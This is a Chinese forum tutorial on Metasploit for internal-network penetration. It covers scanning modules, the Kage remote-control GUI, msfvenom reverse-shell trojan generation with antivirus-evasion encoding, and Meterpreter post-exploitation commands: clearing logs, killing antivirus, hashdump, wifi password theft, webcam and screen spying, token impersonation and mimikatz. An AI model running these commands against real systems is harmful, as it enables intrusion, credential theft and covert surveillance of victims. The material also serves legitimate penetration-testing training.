内网渗透 Metasploit(MSF)底子使用

打印 上一主题 下一主题

主题 863|帖子 863|积分 2589

内网渗透 Metasploit(MSF)使用

1、熟悉 MSF

​ Metasploit 是一款开源的安全弊端检测工具,可以帮助安全和IT专业人士识别安全性问题,验证弊端的缓解步伐,并管理专家驱动的安全性举行评估,提供真正的安全风险情报。这些功能包罗智能开发,代码审计,Web应用步伐扫描,社会工程。团队合作,在 Metasploit 和综合陈诉提出了他们的发现,2003年为第一个版本,2007年用 ruby 举行了重新
​ 安装自查,不必多说
1.1、MSF 目录架构

进入目录

  1. data目录
  2. 里面存有为msf中可以编写的一些文件,里面含有msf存储的漏洞具体数据,一般在使用exp时会编写一些重要的函数,简单来说就是存放我们可以利用的漏洞的数据的地方。
复制代码

  1. documentation文档目录
  2. 存放了msf的一些相关文档,工具介绍等
复制代码

  1. lib静态链接库目录
  2. 存放了msf中的ruby代码
复制代码

  1. modules模块目录
  2. 存放了msf的模块,msf为模块化工具,插件
复制代码

  1. tools目录
  2. 小工具模块
复制代码

2、MSF 底子操作

2.1、msf 的底子部分

内置数据库posetsql
  1. Linux初始化并启动msf数据库
  2. msfdb init
复制代码

  1. kali中的启动命令
  2. msfconsole
  3. 查看数据库状态
  4. db_status
复制代码

  1. help        #查看帮助
  2. exit        #退出
复制代码
MSF 共分为3个部分:
(1)刚进入页面的操作部分
(2)msfvenom 生成攻击载荷的工具,内嵌于 msf
(3)当进入某个会话时的部分
2.2、简单操作下令

  1. show 模块名        #查看/展示模块(exploits、payloads、enncoders等)
  2. search 模块名        #没什么好方法,可以直接搜索漏洞编号,或者网上查询需要的模块名
  3. use 模块名                #使用需要的模块
  4. back                  #返回上一级
  5. info                  #查看模块详细信息
  6. show options   #非常常用,看具体配置,通过Required下面为Yes为必填项
  7. set Name xxxx  #在options中的必填项名字后面接具体信息
  8. run / exploit  #执行模块
复制代码

  1. exploit -j         #通过这条命令运行任务
  2. jobs        #查看后台正在执行的工作
  3. kill ID值        #关闭后台正在执行的工作
复制代码

2.3、常用的扫描模块

一般 msf 将扫描模块都放在auxiliary/scanner当中
2.3.1、arp 扫描

使用 ARP 请求摆列本地网络中的活动主机
  1. 在kali中如下目录为msf的模块目录
  2. /usr/share/metasploit-framework/modules/auxiliary/
复制代码

  1. search arp
复制代码

可以看到有scanner的很多扫描器,auxiliary/scanner/discovery/arp_sweep关于信息网络的有很多
  1. use auxiliary/scanner/discovery/arp_sweep        //选择模块
  2. options                //显示参数配置
  3. set rhosts xxx.xxx.x.x/24        //确定主机
  4. set threads 10                //调线程
  5. run                //运行
复制代码
2.3.2、UDP 扫描

  1. search udp
  2. use auxiliary/scanner/discovery/udp_sweep
复制代码
可以看到有很多很多模块供我们使用

自己试试用得随手的模块
这里就不使用了
2.3.3、端口扫描

SYN、ACK、TCP、XMAS、FTP 扫描等等
  1. search portscan               
  2. use auxiliary/scanner/portscan/tcp
复制代码

2.3.4、SMB 扫描

  1. search smb
  2. use auxiliary/scanner/smb/smb_version //可以探索版本信息
复制代码

2.4、EXP 模块

  1. use exploit                        //输入这个然后按Tab键可进行阅览
复制代码

可以看到有2251个项目,这里就不一一摆列了
如果现在已知目标系统为 windows,那么直接搜索可以减少阅览量
  1. use exploit/windows
复制代码

大部分 EXP 模块都是在已经取得肯定权限后使用的,比如提权等,rce(MS17-010) 等比较少
就按 windows 来说,当我们执行成功时,不仅仅只是执行了一个下令,我们还可以为其添加一个攻击载荷,使其在执行完下令后,还能为我们反弹回来一个会话

  1. set payload windows/x64/meterpreter/reverse_tcp
  2. 然后查看配置
  3. options
复制代码

可以发现这里多了一条 payload,有这个 payload 后,在执行完 rce 后,会返回一个 msf 的会话,支持很多系统
  1. set payload                //然后按Tab就行
复制代码
3、msf 可视化远控平台 Kage

3.1、Kage 安装

当然我们也可以使用msf可视化远控平台----Kage
项目地址:https://github.com/WayzDev/Kage/
​ https://github.com/Zerx0r/Kage/releases
  1. git clone https://github.com/Zerx0r/Kage.git
复制代码
  1. 安装好后进入Kage
  2. cd Kage
  3. 安装依赖项
  4. yarn
  5. 第二个项目因为我们是Linux系统,所以我们下载
  6. Kage.0.1.1-beta_linux.AppImage
复制代码
  1. 建议使用root权限运行
  2. 接着我们使用下面这行代码来运行msf,启动msf并开启一个接口
  3. msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55562 User=msfuser Pass=msfpass'
  4. 接下来我们需要用kage连接这个接口,开启可视化msf
  5. 当然也可以直接写入下面的代码运行
  6. msfrpcd -U msfuser -P msfpass -a 0.0.0.0
  7. -U: 登录kage的账号
  8. -P:登录kage的密码
  9. -a: msf的ip地址(很重要,要是kage和msf在同一台电脑,用0.0.0.0即127.0.0.1)
  10. 赋予程序启动权限,启动程序并登陆
  11. chmod 777 Kage.0.1.1-beta_linux.AppImage
  12. ./Kage.0.1.1-beta_linux.AppImage
复制代码

输入我们设置的账号密码,就可以进入了

3.2、Kage 的使用

我们可以利用下令生成木马,也可以在平台上生成木马,根据自己的具体环境来看,在木马成功上线目标机时,会有各种操作可用。
  1. Jobs是监听功能,Payload generator是木马生成程序
  2. 首先我们需要开启监听并发送木马
  3. 生成木马支持多种平台和方式,选择你所需要的方式进行木马生成。后续的监听也是需要保持同生成木马的一致性(本机IP、负载方法、监听端口)
  4. 木马生成(填写程序名、负载方法、本机ip、端口、程序类型、编码方式(一般默认))
  5. 负载方法常用的是windows/meterpreter/reverse_tcp,当然,它也支持对安卓、linux以及java、python的负载方法,根据个人的测试环境。
  6. 生成的木马程序可以在右侧Saved as中看到是在root目录下,自己去目录中把文件拖出来就可以了。后续录音、拍照、下载等功能使用时的文件在会在该目录下
复制代码
3.3、Kage 可执行的操作

可以执行的操作:
(1)系统指令
(2)文件指令
(3)网络指令
(4)拍照指令
(5)录音指令
(6)文件存放(存放地址为Kage)
4、msfvenom 模块

4.1、概述

msfvenom 是 msf 生成 payload 的一个工具
这里要区分一下 EXP 与 Payload :EXP 是利用弊端举行攻击动作,而 payload 是 EXP 执行成功后在目标内举行各种指令动作。
除了可以将 payload 插入到 exp 里面,也可以作为独立模块举行生成,须要用这个工具生成一个落地化的,类似于会话,可移植性各种操作
4.2、基本操作

  1. msfvenom
  2. 例子
  3. /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
  4. -l                #列出所有payload,需要添加参数payloads, encoders, nops, platforms, archs, encrypt, formats, all       
  5. 所支持的架构有:aarch64、armbe、armle、cbea、cbea64、cmd、dalvik、firefox、java、mips、mips64、mips64le、mipsbe、mipsle、nodejs、php、ppc、ppc64、ppc64le、ppce500v2、python、r、ruby、sparc、sparc64、tty、x64、x86、x86_64、zarch
复制代码

  1. -p                        #后面跟payload的其余参数
复制代码
可以看到下面的有bind和reverse两种类型的 payload,那么有什么区别呢?
bind:正向,攻击机可以毗连目标机,而目标机不能毗连攻击机,是攻击机自动毗连目标机
reverse:反向,目标机自动毗连攻击机,一般使用反弹 TCP 协议。

  1. -f                 #指定输出文件格式
  2. 所支持的格式有:asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-small、hta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;base32、base64、bash、c、csharp、dw、dword、go、golang、hex、java、js_be、js_le、nim、nimlang、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript
复制代码
  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.71.138 lport=3333 -f exe > ceshi.exe
  2. 生成一个windwos的反弹shell,名字为ceshi.exe
复制代码
  1. -e                 #指定编码方式,绕过杀软的一种方式
复制代码

  1. -i                #指定编码次数,一般配合 -e 使用,最好小于20次,否则将不会运行
复制代码
举个例子,生成一个 payload
  1. winodws:
  2. msfvenom -p windows/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f exe > ceshi.exe
  3. Linux
  4. msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 编码方式 -i 次数 -f elf > ceshi.elf
复制代码
5、Meterpreter 模块

当我们生成的 payload 成功在目标机器上执行时,便会返回如许一个会话,我们在此会话中执行各种后渗透操作

5.1、底子操作

  1. help                                 #帮助
  2. background                        #返回msf界面
  3. sessions -l                         #返回所有会话信息
  4. sessions -i id值            #返回指定交互会话
  5. pwd                                    #返回目标机中所处目录位置
  6. lpwd                            #查看本地目录
  7. cd                                    #切换目标机指定目录
  8. lcd                                        #切换本机指定目录
  9. ls                                        #列出目标机当前目录文件
  10. lls                                        #列出本机目录的文件
  11. clearev                                #清除痕迹,清除我们在目标机器上的一些操作痕迹!!!
  12. download 文件名                #将目标文件下载到本地
  13. upload 文件名                        #将文件上传到目标机
  14. shell                                #进入cmd命令框
  15. exit                                #退出终端
  16. ps                                        #列出目标进程
  17. getuid                                #查看当前用户的身份,可以理解为用户名
  18. getprivs                        #查看当前用户的权限
  19. getpid                                #查看木马进程
  20. idletime                        #查看目标服务器空闲时间
  21. sysinfo                                #查看目标主机信息
  22. kill PID号                        #杀死进程
  23. shutdown                        #关机
  24. reboot                                #重启
  25. netstat                                #查看网络连接情况
  26. ipconfig                        #查看目标IP信息
  27. getsystem                        #尝试提权
复制代码

不过进入 windows 会有乱码出现,我们使用chcp 65001便可以办理中文乱码

  1. execute                 #需要参数,在目标机执行一些命令
  2. 用法:execute -f file [options]
  3. 在远程计算机上执行命令。
  4. 选项:
  5. -a                                #传递给命令的参数。
  6. -c                                #通道化I/O(交互需要)。
  7. -d                                #使用-m时要启动的“虚拟”可执行文件。
  8. -f                                #要运行的可执行命令。
  9. -h                                #帮助菜单。
  10. -H                                #创建隐藏在视图中的流程。
  11. -i                                #创建流程后与流程交互。
  12. -k                                #在流量计当前桌面上执行进程
  13. -m                                #从内存执行。
  14. -p                                #在pty中执行进程(如果在目标平台上可用)
  15. -s                                #以会话用户身份在给定会话中执行进程
  16. -t                                #使用当前模拟的线程标记执行进程
  17. -z                                #在子shell中执行进程
  18. execute -f ceshi.exe -H
复制代码

我们一般只用-f参数来执行一个文件进程,使用-h参数来隐藏进程
  1. migrate        PID进程码                #进程迁移命令
  2. migrate 所要迁移的进程号也就是PID
复制代码

5.2、配合 meterpreter 的信息网络模块

有很多模块,大多数都是对于主机的信息网络功能,以 POST 开头
  1. 进入meterpreter中,使用run
复制代码

  1. run killav                #杀死杀毒软件
  2. run hashdump        #导出目标机的哈希保存密码(需要权限)
  3. run post/windows/wlan/wlan_profile        #获取wifi密码
  4. run vnc                        #实时屏幕监控
  5. run webcam                #开启一个摄像头(要求对面拥有摄像头)
  6. run post/windows/gather/checkvm        #查看当前主机是否为虚拟机
  7. run post/windows/gather/enum_computers        #探寻域内主机
  8. run post/windows/manage/enable_rdp        #开启目标3389端口
复制代码
5.3、Token 窃取


  1. load incognito                #令牌窃取工具
  2. list_tokens -u                #列出可以模拟的令牌
  3. impersonate_token 可以模拟的令牌成员名        #窃取一个指定的令牌,获取相应权限
复制代码

一般窃取管理员大概 SYSTEM 的身份
  1. mimikatz
  2. load mimikatz
  3. wdigest           #抓取计算机中的明文密码
复制代码

7、armitage

7.1、概述

Armitage 就是一款使用 Java 为 Metasploit 编写的有图形化操作界面的软件,通过它可以轻松的使用 Metasploit 对目标举行攻击
感觉不如用 kage。。。。。

8、MSF 更新

  1. apt update
  2. apt install metasploit-framework
复制代码
MSF 插件更新可以从下面地址获取
插件地址:https://exploit-db.com
搜索 Metasploit 可以查询相应插件加载,里面文档有安装教程

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

耶耶耶耶耶

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表